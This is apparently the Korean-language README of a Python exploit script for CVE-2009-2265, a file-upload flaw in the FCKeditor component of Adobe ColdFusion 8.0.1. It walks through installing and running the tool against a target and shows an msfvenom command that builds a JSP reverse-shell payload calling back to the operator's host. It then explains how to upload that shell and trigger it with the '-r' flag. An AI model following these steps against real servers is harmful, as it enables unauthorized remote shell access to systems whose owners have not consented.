
cf8-upload.py | CVE-2009-2265
CVE-2009-2265를 악용하는 python3 스크립트입니다.
이 스크립트는 adobe coldfusion 8.0.1에 포함된 FCKeditor < 2.6.4.1에서 발견된 취약점을 악용합니다:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265
이 스크립트는 사용자가 coldfusion 8.0.1을 실행하는 대상 컴퓨터에
업로드할 파일을 제출하고 실행할 수 있게 합니다.
pip3 install requests
adobe coldfusion 8.0.1을 실행하는 대상을 식별한 후 다음 명령으로 실행하세요:
chmod +x cf8-upload.py
./cf8-upload.py -h
또는
python3 cf8-upload.py -h
-h 또는 --help 옵션은 몇 가지 예제와 함께 스크립트 실행 방법을 보여줍니다. 두 개의 위치 인수와 몇 개의 선택적 인수가 있습니다.
./cf8-upload.py --help
usage: cf8-upload.py [-h] [-a] [-n] [-r] address path
./cf8-upload.py exploits an LFI vulnerability in
adobe coldfusion 8.0.1
positional arguments:
address ip/hostname, port, sub-directories to the adobe
coldfusion 8.0.1 server
path path to file you wish to upload (eg.
'/path/to/file.txt')
optional arguments:
-h, --help show this help message and exit
-a, --accessible turns off features which may negatively affect
screen readers
-n, --no-colour removes colour output
-r, --request request webpage after successfully uploading
file
examples:
./cf8-upload.py 10.10.10.10 file.txt
./cf8-upload.py 10.10.10.10:8500 /path/to/reverse-shell.jsp -r
./cf8-upload.py hostname:8500/sub-dir /path/to/upload.zip -n
adobe coldfusion은 기본적으로 포트 8500을 사용하지만, 스크립트를 실행할 때 서버의 전체 경로를 지정해야 합니다.
기본 설치된 coldfusion은 포트 8500의 루트 디렉터리에 위치할 가능성이 높으며, 이 경우 스크립트 실행 시 address 인수로 x.x.x.x:8500만으로 충분할 것입니다.
cf8-upload.py는 기본적으로 색상과 일부 추가 서식을 사용하여 터미널에 출력하지만, 이는 화면 읽기 프로그램을 사용하는 사용자에게 항상 도움이 되는 것은 아닙니다. --accessible 인수를 사용하면 터미널에 출력되는 화려한 서식과 색상이 비활성화됩니다. 또한 ASCII 아트도 비활성화됩니다.
이 플래그는 스크립트가 파일에 대해 GET 요청을 수행하도록 하며, 업로드가 성공적으로 완료된 후에만 수행합니다. 이 옵션은 사용자가 취약한 애플리케이션에 일종의 리버스 셸을 업로드하고 즉시 트리거하려는 경우 유용합니다. GET 요청의 내용은 터미널에 출력되지 않으며 서버에서 이벤트를 트리거하는 역할만 합니다.
adobe coldfusion은 .jsp 파일을 읽을 수 있으므로 리버스 셸은 msfvenom에서 다음과 같이 간단하게 만들 수 있습니다:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[my ip] lport=[my listening port] -f raw > rshell.jsp
그리고 업로드합니다:
./cf8-upload.py 10.10.10.10:8500 /path/to/rshell.jsp -r
adobe coldfusion 8.0.1 애플리케이션은 악용 스크립트로 업로드되는 기존 파일을 덮어쓰지 못할 수 있습니다. 이 경우, 이전에 업로드된 파일과 같은 이름의 다른 파일을 업로드하면 업로드 프로세스 중에 시간 초과가 발생할 수 있습니다.
업로드를 다시 시도하기 전에 업로드하려는 파일의 이름을 다른 이름으로 변경해야 할 수 있습니다.
이 스크립트는 주로 단일 익스플로잇을 위한 짧고 포괄적이며 자체 포함된 프로그램을 가독성과 접근성을 모두 고려하여 만드는 연습이었습니다.
https://skerritt.blog/a11y/ - 접근성 구현.